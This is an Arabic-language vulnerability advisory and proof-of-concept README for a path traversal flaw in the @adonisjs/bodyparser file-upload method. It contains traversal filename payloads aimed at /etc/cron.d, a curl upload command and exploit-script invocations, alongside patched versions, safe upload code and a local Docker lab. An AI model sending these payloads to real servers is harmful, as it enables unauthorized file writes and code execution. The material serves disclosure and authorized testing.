
# استغلال وتقرير لـ cve-2026-21440: ثغرة اجتياز المسار الحرجة في @adonisjs/bodyparser تسمح بكتابة ملفات عشوائية
ثغرة اجتياز المسار تؤدي إلى كتابة ملفات عشوائية في حزمة @adonisjs/bodyparser
توجد ثغرة حرجة في اجتياز المسار في حزمة @adonisjs/bodyparser تسمح للمهاجمين عن بُعد بكتابة ملفات عشوائية خارج دليل الرفع المقصود. عند استدعاء دالة multipartfile.move() دون توفير اسم ملف معقّم بشكل صريح، يستخدم المحلل الاسم المقدم من العميل افتراضيًا دون تعقيم مناسب.
نظرًا لأن التنفيذ يستخدم path.join() وأن options.overwrite الافتراضي هو true، يمكن للمهاجم صياغة اسم ملف خبيث يحتوي على تسلسلات اجتياز الدليل (مثل ) لكتابة ملفات في أي مكان على نظام الملفات، مما قد يؤدي إلى تنفيذ تعليمات برمجية عن بُعد.
../../etc/cron.d/malicious| السمة | القيمة |
|---|---|
| معرف CVE | cve-2026-21440 |
| تصنيف CWE | cwe-22: تقييد غير صحيح لاسم المسار إلى دليل مقيد ('اجتياز المسار') |
| درجة CVSS v3.1 | 9.2 (حرجة) |
| متجه الهجوم | الشبكة |
| تعقيد الهجوم | منخفض |
| الصلاحيات المطلوبة | لا شيء |
| تفاعل المستخدم | لا شيء |
توجد الثغرة في طريقة multipartfile.move(location, options?). عندما يستدعي المطورون هذه الطريقة دون توفير options.name، يستخدم الكود this.clientName افتراضيًا — اسم الملف الأصلي المرسل من العميل — دون تعقيم.
// مسار الكود المعرض للخطر في @adonisjs/bodyparser
async move(location: string, options?: { name?: string; overwrite?: boolean }): Promise<void> {
const fileName = options?.name || this.clientName // ← إدخال عميل غير معقّم
const filePath = path.join(location, fileName) // ← path.join يسمح بالاجتياز
// ...
await fs.move(this.tmpPath, filePath, { overwrite: options?.overwrite ?? true })
}
┌─────────────────────────────────────────────────────────────────┐
│ المهاجم │
└─────────────────────────────────────────────────────────────────┘
│
│ multipart/form-data
│ filename="../../etc/cron.d/pwned"
▼
┌─────────────────────────────────────────────────────────────────┐
│ تطبيق AdonisJS المعرض للخطر │
│ │
│ request.file('upload') │
│ │ │
│ ▼ │
│ file.move(app.tmpPath()) ← لا يوجد اسم معقّم مقدم │
│ │ │
│ ▼ │
│ path.join('/tmp/uploads', '../../etc/cron.d/pwned') │
│ │ │
│ ▼ │
│ يتم حله إلى: /etc/cron.d/pwned │
│ │ │
│ ▼ │
│ يتم كتابة الملف خارج دليل الرفع │
└─────────────────────────────────────────────────────────────────┘
│
▼
كتابة ملفات عشوائية
→ تنفيذ تعليمات برمجية عبر cron
→ استبدال ملفات الإعدادات
→ حقن مفاتيح SSH
| الحزمة | الإصدارات المعرضة للخطر | الإصدار المُصحح |
|---|---|---|
@adonisjs/bodyparser | ≤ 10.1.1 | 10.1.2 |
@adonisjs/bodyparser | 11.0.0-next.1 إلى 11.0.0-next.5 | 11.0.0-next.6 |
@adonisjs/bodyparserfile.move() دون خيار name صريح# الانتقال إلى دليل الاستغلال
cd Exploit-PoC
# تثبيت التبعيات
pip install -r requirements.txt
# تشغيل الاستغلال
python exploit.py --url http://target:3333/upload --path "../../../tmp/pwned.txt" --content "pwned"
curl -X POST http://target:3333/upload \
-F "[email protected];filename=../../tmp/pwned.txt"
// ❌ معرض للخطر - يستخدم اسم الملف المقدم من العميل
public async upload({ request, response }: HttpContext) {
const file = request.file('upload')
if (file) {
await file.move(app.tmpPath()) // clientName يُستخدم كاسم الملف
}
return response.ok({ message: 'uploaded' })
}
// ✅ آمن - يولد اسم ملف معقّم
import { cuid } from '@adonisjs/core/helpers'
import path from 'node:path'
public async upload({ request, response }: HttpContext) {
const file = request.file('upload')
if (file) {
// توليد اسم ملف فريد مع الامتداد الأصلي
const ext = path.extname(file.clientName).toLowerCase()
const safeName = `${cuid()}${ext}`
await file.move(app.tmpPath(), {
name: safeName,
overwrite: false // منع الاستبدال
})
}
return response.ok({ message: 'uploaded' })
}
@adonisjs/bodyparser إلى الإصدار المُصحح# استنساخ المستودع
git clone https://github.com/k0nnect/cve-2026-21440.git
cd cve-2026-21440
# تشغيل البيئة المعرضة للخطر
docker-compose up --build
# في محطة أخرى، تشغيل الاستغلال
cd Exploit-PoC
python exploit.py --url http://localhost:3333/upload --path "../test.txt"
# التحقق من كتابة الملف خارج دليل الرفع
docker-compose exec app cat /app/test.txt
| التاريخ | الحدث |
|---|---|
| 2026-01-02 | تم إصدار التصحيح في 10.1.2 و 11.0.0-next.6 |
| 2026-01-02 | تم نشر ghsa-gvq6-hvvp-h34h |
| 2026-01-02 | تم تعيين cve-2026-21440 |
| 2026-01-02 | تم النشر بواسطة nvd |
هذا المستودع مقدم لأغراض البحث الأمني التعليمي والمصرح به فقط. يهدف كود إثبات المفهوم إلى مساعدة المتخصصين في الأمن على فهم واختبار هذه الثغرة في البيئات المصرح لهم بتقييمها.
الوصول غير المصرح به إلى أنظمة الكمبيوتر غير قانوني. لا يتحمل المؤلفون أي مسؤولية عن إساءة استخدام هذه المعلومات. احصل دائمًا على التصريح المناسب قبل اختبار الثغرات.
تم البحث مع ☕ بواسطة k0nnect